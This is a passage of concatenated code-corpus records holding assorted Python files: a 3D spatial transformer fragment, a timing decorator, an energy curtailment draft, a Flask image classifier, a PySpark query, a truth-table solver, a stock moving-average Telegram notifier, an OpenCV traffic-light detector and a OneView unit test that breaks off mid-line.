np.vstack([x_t.flatten(), y_t.flatten(), z_t.flatten(), ones]).astype('float32') #(4, height*width*depth)\n\t\treturn grid\n\n\tdef _transform(self, input_dim, theta, out_size):\n\t\theight = tf.shape(input_dim)[1]\n\t\twidth = tf.shape(input_dim)[2]\n\t\tdepth = tf.shape(input_dim)[3]\n\t\tnum_channels = tf.shape(input_dim)[4]\n\t\ttheta = tf.reshape(theta, [-1, 4, 4])\n\t\tself.theta = tf.cast(theta, 'float32')\n\n\t\t# Transform A x (x_t, y_t, z_t, 1)^T -> (x_s, y_s, z_s)\n\t\tself.T_g = tf.batch_matmul(self.theta, self.grid) #(num_batch, 4, 4) * (num_batch, 4, height*width*depth) => (num_batch, 4, out_height*_out_width*depth)\n\t\tx_s, y_s, z_s, w_s = tf.split(1, 4, self.T_g)\n\t\tx_s_flat = tf.reshape(x_s/w_s, [-1, width, height, depth]) # (num_batch, 1*height*width*depth, )\n\t\ty_s_flat = tf.reshape(y_s/w_s, [-1, width, height, depth])\n\t\tz_s_flat = tf.reshape(z_s/w_s, [-1, width, height, depth])\n\t\t# we have got the 3d grid transformed\n\n\t\tinput_transformed = self._interpolate(\n\t\t\tinput_dim, x_s_flat, y_s_flat, z_s_flat,\n\t\t\tout_size)\n\t\toutput = tf.reshape(\n\t\t\tinput_transformed, tf.pack([self.dyn_batch_size, self.out_height, self.out_width, self.out_depth, num_channels]))\n\t\treturn output\n","sub_path":"ModelReader_Rotator_tw.py","file_name":"ModelReader_Rotator_tw.py","file_ext":"py","file_size_in_byte":22216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"156703620","text":"#如果我们需要记录部分函数的执行时间,函数执行前后打印一些日志,装饰器是一种很方便的选择\n\n#代码如下:\n\nimport time\nimport functools\n \ndef log(func):\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n start = time.perf_counter()\n res = func(*args, **kwargs)\n end = time.perf_counter()\n print(f'函数 {func.__name__} 耗时 {(end - start) * 1000} ms')\n return res\n return wrapper\n#装饰器 log 记录某个函数的运行时间,并返回其执行结果\n\n#测试一下:\n\n@log\ndef now():\n print('2021-7-1')\n \nnow()\n#结果:\n\n#2021-7-1\n#函数 now 耗时 0.09933599994838005 ms\n","sub_path":"牛x装饰器/functime.py","file_name":"functime.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"484953249","text":"import pandas as pd\nfrom datetime import *\nimport Machine_verif \nimport Gene_verif\nimport Outils\n## déboguer les fonctions appelées\n## fournir matrice exemple à l'équipe affichage\n\ndef datetime_to_temperature(datetime1):\n str1 = str(datetime1.day) + '/' + str(datetime1.month) + '/' +str(datetime1.year) + ' ' +str(datetime1.hour) + ':' +str(datetime1.minute) + \":\" + str(datetime1.second)\n Data_frame_temperature = pd.read_csv(Fichier,sep = \";\",names=[\"date et heure\",\"lieu\",\"type1\",\"type2\",\"valeur\",\"unité\"],header=None)\n if str1 in Data_frame_temperature[\"date et heure\"]:\n k = Data_frame_temperature[\"date et heure\"].index(str1)\n return(Data_frame_temperature[\"valeur\"][k])\n else:\n return(\"Date et heure non compatibles\") ##path à régler selon l'ordi\n \n\ndef effacement_main( date_debut, Puissance_a_effacer, liste_temperatures_sans_effacement, liste_temperatures_avec_effacement, liste_temperatures_ext, liste_matrices, liste_machines, liste_consos ):\n\n ##instancier: liste_machines\n\n#Objets return\n liste_dates = [ date_debut + timedelta(seconds = i*600) for i in range(7) ]\n liste_temp_int_simul = []\n #Initialisation de la matrice renvoyée, à l'état initial\n matrice = [[]]\n for mac in liste_machines:\n matrice[0].append( [ mac.renvoyerNom(), mac.renvoyerEtatActuel(), mac.consoMachine(), mac.renvoyerGene() ] )\n print (\"Hello !\")\n print ( matrice )\n\n Puissance_effacee = 0 \n plus_modifiables = [machine for machine in liste_machines if machine.renvoyerEtatActuel() == 0]\n nb_iter = 0\n \n \n #Début de l'algorithme\n while Puissance_effacee < Puissance_a_effacer and len(plus_modifiables) != len(liste_machines):\n \n liste_tuples = [] \n i=0\n for machine in liste_machines:\n i+=1\n if not (machine in plus_modifiables):\n if machine.renvoyerGene() >= 0.95:\n liste_tuples.append( (0, machine) )\n plus_modifiables.append(machine)\n elif machine.renvoyerEtatContinu():\n if machine.renvoyerEtatActuel() >= 0.01:\n deltagene = get_delta_gene(machine, date_debut, liste_consos[i][renvoyerIndiceJournee(date)-renvoyerIndiceJournee(origine_de_la_simulation)])\n priorite = machine.consoMachine()/(deltagene*100)\n liste_tuples.append( (priorite, machine) )\n else:\n liste_tuples.append( (0, machine) )\n machine.modifierEtatActuel( 0 )\n plus_modifiables.append(machine)\n else:\n priorite = machine.renvoyerConsoMax()/machine.renvoyerGene() \n liste_tuples.append( (priorite, machine) )\n plus_modifiables.append(machine)\n else:\n liste_tuples.append( (0, machine) )\n \n liste_tuples_sorted = sorted(liste_tuples, reverse = True)\n machine_prior = liste_tuples_sorted[0](1)\n if not ( len(plus_modifiables) == len(liste_machines) and machine_prior.renvoyerEtatContinu() ):\n Puissance_effacee += machine_prior.renvoyerConso()\n machine_prior.actualise_etat_et_gene(machine, date_debut)\n for k, mach in enumerate( liste_tuples_sorted ):\n matrice[nb_iter][k]=[ mach.renvoyerNom(), mach.renvoyerEtatActuel(), mach.consoMachine(), mach.renvoyerGene() ]\n nb_iter += 1\n \n i = 0 \n #Début de la boucle temporelle:\n for date in liste_dates[1::]:\n i += 1\n Puissance_tot = sum( [matrice[nb_iter][x][2] for x in range( len(liste_machines) ) ])\n \n liste_temp_int_simul.append(prevision_temperature(liste_temp_int_simul[-1], chauffage.renvoyerEtatActuel() * chauffage.renvoyerConsoMax() , liste_temperatures_ext[Outils.renvoyerIndiceJournee(date_debut)-Outils.renvoyerIndiceJournee(origine_de_la_simulation)], nom_temperature))\n \n ##fonction calcul_temp à définir en fonction de P_tot, T_préc, T_ext(date)\n \n #retour de la liste des temps, liste temporelle des températures simulées, et la matrice pas à pas\n\n\n liste_matrices.append(matrice)\n \n \n \n \n \n \n \n \n \n\n\n\n\n","sub_path":"Desktop/MIG SE/Fonction effacement/Effacement_main_verif.py","file_name":"Effacement_main_verif.py","file_ext":"py","file_size_in_byte":4382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"512871764","text":"from flask import Flask, render_template, request\nfrom werkzeug.utils import secure_filename\n\n\nfrom load import *\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\nmodel, optimizer = load_checkpoint(path=checkpoint_path)\n\nALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg'}\n\n\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n\n@app.route('/')\ndef index_view():\n return render_template('index.html')\n\n\ndef convertImage(req):\n if 'file' not in req.files:\n print(\"No file\")\n return None\n file = req.files['file']\n # if user does not select file, browser also\n # submit a empty part without filename\n if file.filename == '':\n print(\"No file\")\n return None\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n file.save(os.path.join(\"./\", filename))\n return os.path.join(\"./\", filename)\n return None\n\n\n@app.route('/predict/', methods=['GET','POST'])\ndef predict():\n # imgData = request.get_data()\n url = convertImage(request)\n img, ps, classes, y_obs = predict_img(url, model, n_classes)\n os.remove(url)\n return classes[np.argmax(ps)]\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"web_app.py","file_name":"web_app.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"238232600","text":"def euclides(m, n):\n r = m % n\n if r == 0:\n return n\n else:\n return euclides(n, r)\n\n\nprint('Ingrese el par de numeros : ')\nx = int(input('primero:'))\ny = int(input('segundo:'))\nmcd = euclides(x, y)\nprint('\\nEl MCD es : ', mcd)\n","sub_path":"Guia_Ejercicios/5/5_5.py","file_name":"5_5.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"257926503","text":"#!/usr/bin/python2 \n# -*- coding: utf-8 -*-\n\nfrom pyspark import SparkContext \nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import to_date\n\ndata_enh=\"hdfs://10.190.2.112/data/data_dump.txt\"\ntrain_set=\"hdfs://10.190.2.112/data/train_set.txt\"\nval_set=\"hdfs://10.190.2.112/data/val_set.txt\"\ntest_set=\"hdfs://10.190.2.112/data/test.txt\"\n\n#获得数据\nspark = SparkSession.builder.master(\"spark://10.190.2.112:7077\").appName(\"pssql05\").getOrCreate()\ndf = spark.read.csv(data_enh,header=None,encoding=\"utf-8\",inferSchema=True,sep=\"\\t\").drop_duplicates() #去重\ndf=df.withColumn('Tdate',to_date(df[8], 'dd/MM/yyyy'))\ndf=df.filter(\"year(Tdate)>1893\")\n\n#执行查询\nsc=df.select(df[6].alias(\"gender\")) #抽取gender as gender\nsc1=sc[sc.gender.isNotNull()].groupBy(\"gender\").count() #对gender 非null统计\nsc2=sc1.select(sc1.gender,sc1[1].alias(\"num\"))\nsc2.createOrReplaceTempView(\"Tur_db5\")\nq=\"\"\"select gender,num,num/CAST(SUM(num) over() as float) as pc\nfrom Tur_db5\ngroup by gender,num\n\"\"\"\nspark.sql(q).show()\n\n","sub_path":"sparke/spark5.py","file_name":"spark5.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"119284795","text":"# analog for -> operator\r\narrow = lambda A, B: int(not (A > B))\r\n\r\n\r\n# LTS -- LogicTableSolver\r\n\r\nclass BaseLTS:\r\n '''\r\n Class with basic functions for LTS\r\n\r\n create logic table for <n> x\r\n create title for <n> x\r\n print table\r\n '''\r\n\r\n def __init__(self, number_of_x):\r\n self.n = number_of_x\r\n\r\n @staticmethod\r\n def create_column(n, length):\r\n # count of zero and count of ones in one pare\r\n zero, one = [], []\r\n row = []\r\n\r\n count = 2 ** (n - 1)\r\n # fill the pare with require count of numbers\r\n for i in range(count):\r\n zero.append(0)\r\n one.append(1)\r\n # count of pares of zeros and ones\r\n count_of_no = length // (count * 2)\r\n\r\n for i in range(count_of_no):\r\n row.extend(zero)\r\n row.extend(one)\r\n\r\n return row\r\n\r\n @staticmethod\r\n def create_var_table(n):\r\n table = []\r\n len_ = 2 ** n\r\n for i in range(n, 0, -1):\r\n table.append(BaseLTS.create_column(i, len_))\r\n return table\r\n\r\n # title for table\r\n @staticmethod\r\n def create_title(n):\r\n form = ''\r\n for i in range(n):\r\n form += f'x{i + 1} '\r\n form += 'F'\r\n return form\r\n\r\n # print table\r\n @staticmethod\r\n def print_table(n, table):\r\n print(BaseLTS.create_title(n))\r\n form = '{} ' * n\r\n for i in range(2 ** n):\r\n table_row = [t[i] for t in table]\r\n print(\r\n form.format(*table_row))\r\n\r\n # print table and answers or calculate answers automatically\r\n @staticmethod\r\n def print_log_table(n, table, fs):\r\n\r\n print(BaseLTS.create_title(n))\r\n form = '{} ' * (n + 1)\r\n # if we have list of answers we only write answers\r\n if isinstance(fs, list):\r\n for i in range(2 ** n):\r\n table_row = [t[i] for t in table]\r\n print(form.format(*table_row, fs[i]))\r\n # else we calculate and write answer\r\n else:\r\n for i in range(2 ** n):\r\n table_row = [t[i] for t in table]\r\n print(form.format(*table_row, fs(*table_row)))\r\n\r\n # base method for Child's classes\r\n def solve(self):\r\n table = self.create_var_table(self.n)\r\n print(\"gen table with all possible all_ways\")\r\n self.print_table(self.n, table)\r\n\r\n\r\nclass OneFormulaLTS(BaseLTS):\r\n '''\r\n Solve log table for one formula\r\n '''\r\n def __init__(self, number_of_x, formula):\r\n super().__init__(number_of_x)\r\n self.formula = formula\r\n self.table = self.create_var_table(number_of_x)\r\n\r\n def create_log_table(self):\r\n f_column = []\r\n for i in range(2 ** self.n):\r\n table_row = [t[i] for t in self.table]\r\n f_column.append(int(\r\n self.formula(*table_row)\r\n ))\r\n\r\n return f_column\r\n\r\n def solve(self):\r\n print(\"gen all possible variations of formula\")\r\n self.print_log_table(\r\n self.n,\r\n self.table,\r\n self.create_log_table(),\r\n )\r\n\r\n\r\nclass LotFormulaLTS(BaseLTS):\r\n def __init__(self, number_of_x, formulas, pattern=None, giving_table=None):\r\n super().__init__(number_of_x)\r\n self.giving_table = giving_table\r\n self.formulas = formulas\r\n self.pattern = pattern\r\n\r\n def normalize_giving_table(self):\r\n # create all possible variations of arguments\r\n table = self.create_var_table(self.n)\r\n compared_table = []\r\n\r\n for row in self.giving_table:\r\n for i in range(2 ** self.n):\r\n table_row = [t[i] for t in table]\r\n\r\n # if row already in table we don't need check it again\r\n # if row have less ones or less zeros, it can't be in compare_table\r\n if table_row not in compared_table and \\\r\n table_row.count(1) >= row.count(1) and \\\r\n table_row.count(0) >= row.count(0):\r\n compared_table.append(table_row)\r\n\r\n self.giving_table = compared_table\r\n\r\n def compare_formulas(self):\r\n\r\n ind = None\r\n correct = []\r\n\r\n if len(self.pattern) != len(self.giving_table[0]):\r\n print(\"Error! \\nnumber of answers != rows of table\")\r\n print(len(self.pattern))\r\n print(len(self.giving_table))\r\n return\r\n\r\n # Get result for each formula and compare with expected answer\r\n for f in self.formulas:\r\n\r\n answer = []\r\n # collect answers of formula\r\n for i in range(len(self.giving_table)):\r\n table_row = self.giving_table[i]\r\n print(table_row, f(*table_row))\r\n answer.append(int(f(*table_row)))\r\n print('----------')\r\n # get correct answer\r\n if answer == self.pattern:\r\n ind = self.formulas.index(f)\r\n correct = answer\r\n print(f'\\nthe right formula is {ind} \\nanswers: {correct}')\r\n\r\n def solve(self):\r\n\r\n if self.giving_table is None and self.formulas is None:\r\n print('cant find right answer in Nothing')\r\n\r\n elif self.formulas is None:\r\n print('cant build answer without formulas')\r\n\r\n elif self.giving_table is None:\r\n print('Automatically create Logic Table\\n')\r\n print('Start solving')\r\n\r\n self.giving_table = self.create_var_table(self.n)\r\n self.compare_formulas()\r\n else:\r\n print('Start solving')\r\n\r\n # self.normalize_giving_table()\r\n self.compare_formulas()\r\n\r\n\r\nclass FinderLTS(OneFormulaLTS):\r\n '''Find '''\r\n def __init__(self, number_of_x, f, giving_table):\r\n super().__init__(number_of_x, f)\r\n self.giving_table = giving_table\r\n\r\n def compare_with_table(self, table, fs):\r\n # First study - find not match parts\r\n\r\n compare_table = []\r\n compare_f = []\r\n for row in self.giving_table:\r\n for i in range(2 ** self.n):\r\n # if we get incorrect answer we don't compare all Vars\r\n if row[-1] == fs[i]:\r\n table_r = [t[i] for t in table]\r\n if table_r.count(1) >= row[0:-1].count(1) and \\\r\n table_r.count(0) >= row[0:-1].count(0):\r\n if table_r not in compare_table:\r\n compare_table.append(table_r)\r\n compare_f.append(fs[i])\r\n return compare_table, compare_f\r\n\r\n def print_compare_table(self, com_table, com_f):\r\n print(self.create_title(self.n))\r\n form = '{} ' * (self.n + 1)\r\n for i in range(len(com_f)):\r\n print(form.format(*com_table[i], com_f[i]))\r\n\r\n def solve(self):\r\n table = self.create_var_table(self.n)\r\n fs = self.create_log_table()\r\n print('Full Vars Table')\r\n self.print_log_table(self.n, table, fs)\r\n if self.giving_table is not None:\r\n print('\\nFind all matches\\n')\r\n ct, cf = self.compare_with_table(table, fs)\r\n self.print_compare_table(ct, cf)\r\n\r\n\r\n# EXAMPLES\r\ndef lts_test():\r\n n = 4\r\n solver = BaseLTS(n)\r\n solver.solve()\r\n\r\n\r\ndef formul_lts_test():\r\n f = lambda x, y, z: (((not x) and y) or x) and z\r\n formul = OneFormulaLTS(3, f)\r\n formul.solve()\r\n\r\n\r\ndef lot_lts_test():\r\n table = [[1, 0, 0],\r\n [1, 0, 1],\r\n [1, 1, 0]]\r\n f = lambda x, y, z: ((not x) or z) and y\r\n f2 = lambda x, y, z: (x and not y) or z\r\n f4 = lambda x, y, z: (not x or y) or not z\r\n f3 = lambda x, y, z: (x and y) and not z\r\n lot_formul = LotFormulaLTS(3, [f, f2, f3, f4], giving_table=table, pattern=[1, 0, 1])\r\n lot_formul.solve()\r\n\r\n\r\ndef finder_lts_test():\r\n # First with gen args\r\n\r\n # table = BaseLTS.create_var_table(2)\r\n # finder = FinderLTS(2, arrow, table)\r\n # finder.solve()\r\n\r\n # Second with giving table\r\n table = [\r\n [None, None, 1],\r\n [None, 1, 1],\r\n [0, None, 1],\r\n [1, 0, 0],\r\n ]\r\n finder = FinderLTS(2, arrow, table)\r\n finder.solve()\r\n\r\n\r\ndef main():\r\n print('base test')\r\n lts_test()\r\n print()\r\n print('one formul test')\r\n formul_lts_test()\r\n print()\r\n print('lot test')\r\n lot_lts_test()\r\n print()\r\n print('finder test')\r\n finder_lts_test()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"logic.py","file_name":"logic.py","file_ext":"py","file_size_in_byte":8552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"508562807","text":"import sys\nimport os\nimport traceback\nfrom datetime import datetime\nsys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))\nsys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))))\nfrom stockToKakao.commonModule import dbModule, calcModule, telegramModule\nfrom stockToKakao.p12_set_ma_and_send_message.bizLogic.cal_move_avg_values import cal_move_avg_values\n\n\n# 작업모드 1번: 이평선 돌파시 메시지 송신\ndef get_ma_and_send_message(in_stc_id=None):\n # DB 모듈선언\n db_class = dbModule.Database()\n\n # 당일\n now_time = datetime.today().strftime(\"%Y%m%d%H%M%S\")\n\n # 대상건 조회\n sql = \"select a.stc_id, b.stc_name, a.now_price, a.ma5, a.ma20, a.ma60, a.ma120, a.ma240 \" \\\n \"from stock_search.stock_move_avg a, stock_search.stock_basic b \" \\\n \"where a.stc_id = b.stc_id and substring(bin(b.filter_bcd), -2, 1) = '1'\"\n\n if in_stc_id is not None:\n sql = \"select a.stc_id, b.stc_name, a.now_price, a.ma5, a.ma20, a.ma60, a.ma120, a.ma240 \" \\\n \"from stock_search.stock_move_avg a, stock_search.stock_basic b \" \\\n \"where a.stc_id = b.stc_id and a.stc_id = '%s'\" % in_stc_id\n\n rows = db_class.executeAll(sql)\n\n # 조회된 건수 바탕으로 data 세팅 및 메시지 송신\n for row in rows:\n try:\n # 대상 데이터\n stc_id = row['stc_id']\n stc_name = row['stc_name']\n\n # 기존값\n old_now_price = row['now_price']\n old_ma5 = row['ma5']\n old_ma20 = row['ma20']\n old_ma60 = row['ma60']\n old_ma120 = row['ma120']\n old_ma240 = row['ma240']\n\n # 현재가 및 이동평균가격\n price_info = cal_move_avg_values(stc_id)\n now_price = price_info['now_price']\n ma5 = price_info['ma5']\n ma20 = price_info['ma20']\n ma60 = price_info['ma60']\n ma120 = price_info['ma120']\n ma240 = price_info['ma240']\n\n # 새로운 값 DB저장\n sql = \"update stock_search.stock_move_avg \" \\\n \"set now_price = '%d', ma5 = '%d', ma20 = '%d', ma60= '%d', ma120 = '%d', ma240 = '%d'\" \\\n \"where stc_id = '%s'\" % (now_price, ma5, ma20, ma60, ma120, ma240, stc_id)\n db_class.execute(sql)\n db_class.commit()\n\n # 메시지조합\n yn_now = False\n yn_5 = False\n yn_20 = False\n yn_60 = False\n yn_120 = False\n\n msg_temp = \"\"\n msg_now = \"\"\n msg_5 = \"\"\n msg_20 = \"\"\n msg_60 = \"\"\n msg_120 = \"\"\n\n # 현재가 5일선돌파\n if old_now_price <= old_ma5 and now_price > ma5:\n msg_temp = msg_temp+\"5 \"\n yn_now = True\n\n # 현재가 20일선돌파\n if old_now_price <= old_ma20 and now_price > ma20:\n msg_temp = msg_temp+\"20 \"\n yn_now = True\n\n # 현재가 60일선돌파\n if old_now_price <= old_ma60 and now_price > ma60:\n msg_temp = msg_temp+\"60 \"\n yn_now = True\n\n # 현재가 120일선돌파\n if old_now_price <= old_ma120 and now_price > ma120:\n msg_temp = msg_temp+\"120 \"\n yn_now = True\n\n # 현재가 240일선돌파\n if old_now_price <= old_ma240 and now_price > ma240:\n msg_temp = msg_temp+\"240 \"\n yn_now = True\n\n # 메시지 조립\n if yn_now:\n msg_now = \"현재가: \" + msg_temp + \"일선 돌파! \\n\"\n msg_temp = \"\"\n\n # 5일선 20일선돌파\n if old_ma5 <= old_ma20 and ma5 > ma20:\n msg_temp = msg_temp+\"20 \"\n yn_5 = True\n\n # 5일선 60일선돌파\n if old_ma5 <= old_ma60 and ma5 > ma60:\n msg_temp = msg_temp+\"60 \"\n yn_5 = True\n\n # 5일선 120일선돌파\n if old_ma5 <= old_ma120 and ma5 > ma120:\n msg_temp = msg_temp+\"120 \"\n yn_5 = True\n\n # 5일선 240일선돌파\n if old_ma5 <= old_ma240 and ma5 > ma240:\n msg_temp = msg_temp+\"240 \"\n yn_5 = True\n\n # 메시지 조립\n if yn_5:\n msg_5 = \"5일선: \" + msg_temp + \"일선 돌파! \\n\"\n msg_temp = \"\"\n\n # # 20일선 60일선돌파\n # if old_ma20 <= old_ma60 and ma20 > ma60:\n # msg_temp = msg_temp+\"60 \"\n # yn_20 = True\n\n # 20일선 120일선돌파\n if old_ma20 <= old_ma120 and ma20 > ma120:\n msg_temp = msg_temp+\"120 \"\n yn_20 = True\n\n # # 20일선 240일선돌파\n # if old_ma20 <= old_ma240 and ma20 > ma240:\n # msg_temp = msg_temp+\"240 \"\n # yn_20 = True\n\n # 메시지 조립\n if yn_20:\n msg_20 = \"20일선: \" + msg_temp + \"일선 돌파! \\n\"\n msg_temp = \"\"\n\n # 60일선 120일선돌파\n if old_ma60 <= old_ma120 and ma60 > ma120:\n msg_temp = msg_temp+\"120 \"\n yn_60 = True\n\n # 60일선 240일선돌파\n if old_ma60 <= old_ma240 and ma60 > ma240:\n msg_temp = msg_temp+\"240 \"\n yn_60 = True\n\n # 메시지 조립\n if yn_60:\n msg_60 = \"60일선: \" + msg_temp + \"일선 돌파! \\n\"\n msg_temp = \"\"\n\n # 120일선 240일선돌파\n if old_ma120 <= old_ma240 and ma120 > ma240:\n msg_temp = msg_temp+\"240 \"\n yn_120 = True\n\n # 메시지 조립\n if yn_120:\n msg_120 = \"120일선: \" + msg_temp + \"일선 돌파! \\n\"\n\n # 최종 메시지 조립\n msg_final = msg_now+msg_5+msg_20+msg_60+msg_120\n msg_final = msg_20\n\n # 메시지 송신\n # if yn_now or yn_5 or yn_20 or yn_60 or yn_120:\n if yn_20:\n\n # 데이터 세팅 및 텔레그램 메시지 송신\n msg = telegramModule.set_data(stc_id, stc_name, msg_final)\n telegramModule.send_message_to_friends(msg)\n\n # 결과저장\n sql = \"insert into stock_search.stock_captured (capture_dttm, stc_id, price, capture_tcd, msg ) \" \\\n \"values('%s', '%s', '%d', '03', '%s')\" % (now_time, stc_id, now_price, msg_final)\n db_class.execute(sql)\n db_class.commit()\n\n except Exception as ex:\n traceback.print_exc()\n\n db_class.commit()\n print(\"이평선 돌파 메시지 송신 완료\")\n return\n\n\ndef main_process(in_stc_id=None):\n # 시작시간\n start_time = datetime.today().strftime(\"%Y-%m-%d %H:%M:%S\")\n\n # 현재시간\n now_time = datetime.today().strftime(\"%H%M%S\")\n\n # 프로세스 수행\n get_ma_and_send_message(in_stc_id)\n\n # 종료 시간\n end_time = datetime.today().strftime(\"%Y-%m-%d %H:%M:%S\")\n\n # 종료메시지\n print(\"시작시각: \", start_time)\n print(\"종료시각: \", end_time)\n\n\nif __name__ == \"__main__\":\n main_process()\n","sub_path":"stockToKakao/p12_set_ma_and_send_message/getMaAndSendMessage.py","file_name":"getMaAndSendMessage.py","file_ext":"py","file_size_in_byte":7432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"178741149","text":"import cv2\nimport numpy as np\nimport requests\nimport ast\n\n\ndef traffic_light_detection(img, gray):\n def color_detection(img):\n hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n\n red_lower = np.array([161, 155, 84], np.uint8)\n red_upper = np.array([179, 255, 255], np.uint8)\n red_mask = cv2.inRange(hsv, red_lower, red_upper)\n\n green_lower = np.array([40, 50, 50], np.uint8)\n green_upper = np.array([90, 255, 255], np.uint8)\n green_mask = cv2.inRange(hsv, green_lower, green_upper)\n\n kernal = np.ones((5, 5), \"uint8\")\n\n red_mask = cv2.dilate(red_mask, kernal)\n res_red = cv2.bitwise_and(img, img, mask=red_mask)\n\n green_mask = cv2.dilate(green_mask, kernal)\n res_green = cv2.bitwise_and(img, img, mask=green_mask)\n\n contours, hierarchy = cv2.findContours(\n red_mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE\n )\n\n for pic, contour in enumerate(contours):\n area = cv2.contourArea(contour)\n if area > 300:\n x, y, w, h = cv2.boundingRect(contour)\n img = cv2.rectangle(img, (x, y), (x + w, y + h), (0, 0, 255), 2)\n\n # get\n req = requests.get(url)\n dict_req = req.content.decode(\"UTF-8\")\n dict_req = ast.literal_eval(dict_req)\n\n if dict_req[\"status\"] == \"done\":\n # post\n post_data = {\n \"command\": \"stop\",\n \"status\": \"wait\",\n }\n requests.post(url, data=post_data)\n print(\"post: traffic_light [STOP]\")\n\n contours, hierarchy = cv2.findContours(\n green_mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE\n )\n\n for pic, contour in enumerate(contours):\n area = cv2.contourArea(contour)\n if area > 300:\n x, y, w, h = cv2.boundingRect(contour)\n img = cv2.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 2)\n\n # get\n req = requests.get(url)\n dict_req = req.content.decode(\"UTF-8\")\n dict_req = ast.literal_eval(dict_req)\n\n if dict_req[\"status\"] == \"done\":\n # post\n post_data = {\n \"command\": \"go\",\n \"status\": \"wait\",\n }\n requests.post(url, data=post_data)\n print(\"post: traffic_light [GO]\")\n\n url = \"http://0.0.0.0:8000/traffic_light/\"\n\n casName = \"TrafficLight\"\n cascPath = \"./cascades/{}.xml\".format(casName)\n signCascade = cv2.CascadeClassifier(cascPath)\n\n sign = signCascade.detectMultiScale(\n gray, scaleFactor=1.06, minNeighbors=3, flags=cv2.CASCADE_SCALE_IMAGE,\n )\n\n for (x, y, w, h) in sign:\n\n img = cv2.rectangle(img, (x, y), (x + w, y + h), (255, 0, 0), 2)\n\n distance = int((170 - w) * (20 / 35))\n\n r = max(w, h) / 2\n centerx = x + w / 2\n centery = y + h / 2\n nx = int(centerx - r)\n ny = int(centery - r)\n nr = int(r * 2)\n crop_img = img[ny : ny + nr, nx : nx + nr]\n\n if distance <= 40 and distance > 4:\n color_detection(crop_img)\n\n return img\n","sub_path":"autocar_signDetection/traffic_light.py","file_name":"traffic_light.py","file_ext":"py","file_size_in_byte":3323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"523959964","text":"# -*- coding: utf-8 -*-\n###\n# (C) Copyright (2012-2017) Hewlett Packard Enterprise Development LP\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the 'Software'), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n###\n\nfrom unittest import TestCase\n\nimport mock\n\nfrom hpOneView.connection import connection\nfrom hpOneView.resources.networking.internal_link_sets import InternalLinkSets\nfrom hpOneView.resources.resource import ResourceClient\n\nINTERNAL_LINK_SETS = [\n {'name': 'OneViewSDK Test Internal Link Set'},\n {'name': 'test'},\n {'name': 'OneViewSDK Test Internal Link Set'},\n {'name': 'abc'},\n]\n\n\nclass InternalLinkSetsTest(TestCase):\n def setUp(self):\n self.host = '127.0.0.1'\n self.connection = connection(self.host)\n self._client = InternalLinkSets(self.connection)\n\n @mock.patch.object(ResourceClient, 'get_all')\n def test_get_all_called_once(self, mock_get_all):\n filter = 'name=TestName'\n sort = 'name:ascending'\n query = 'teste'\n fields = 'a,b,c'\n view = 'teste'\n\n self._client.get_all(2, 500, filter, query, sort, view, fields)\n\n mock_get_all.assert_called_once_with(start=2, count=500, filter=filter, sort=sort, query=query, fields=fields,\n view=view)\n\n @mock.patch.object(ResourceClient, 'get_all')\n def test_get_all_without_parameters(self, mock_get_all):\n self._client.get_all()\n mock_get_all.assert_called_once_with(start=0, count=-1, filter='', sort='', query='', fields='', view='')\n\n @mock.patch.object(ResourceClient, 'get_all')\n def test_get_by_called_once(self, mock_get_all):\n mock_get_all.return_value = INTERNAL_LINK_SETS\n expected_result = [\n {'name': 'OneViewSDK Test Internal Link Set'},\n {'name': 'OneViewSDK Test Internal Link Set'},\n ]\n\n result = self._client.get_by('name', 'OneViewSDK Test Internal Link Set')\n\n self.assertEqual(result, expected_result)\n\n @mock.patch.object(ResourceClient, 'get_all')\n def 